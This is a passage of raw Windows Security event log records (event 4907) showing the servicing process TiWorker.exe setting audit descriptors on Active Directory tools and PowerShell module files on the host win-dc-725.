	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsrm.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247437
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsquery.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247436
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsmove.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247435
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsmod.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247434
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsmgmt.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247433
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsget.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247432
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsdbutil.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247431
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsadmin.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247430
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsadd.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247429
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsacls.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247428
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsa.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247427
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\domain.msc
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247426
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\domadmin.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247425
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\delegwiz.inf
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247424
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dcpromoui.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247423
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dcpromocmd.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247422
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dcdiag.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247421
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\csvde.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247420
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\adsiedit.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247419
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\adsiedit.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247418
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\adprop.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247417
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\en-US\ActiveDirectoryPowerShellResources.dll.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247416
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectoryPowerShellResources.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247415
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Types.ps1xml
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247414
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.psd1
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247413
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Format.ps1xml
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247412
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\schmmgmt.dll.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247411
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\repadmin.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247410
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\rendom.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247409
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\redirusr.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247408
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\redircmp.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247407
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntfrsapi.dll.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247406
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsutil.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247405
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
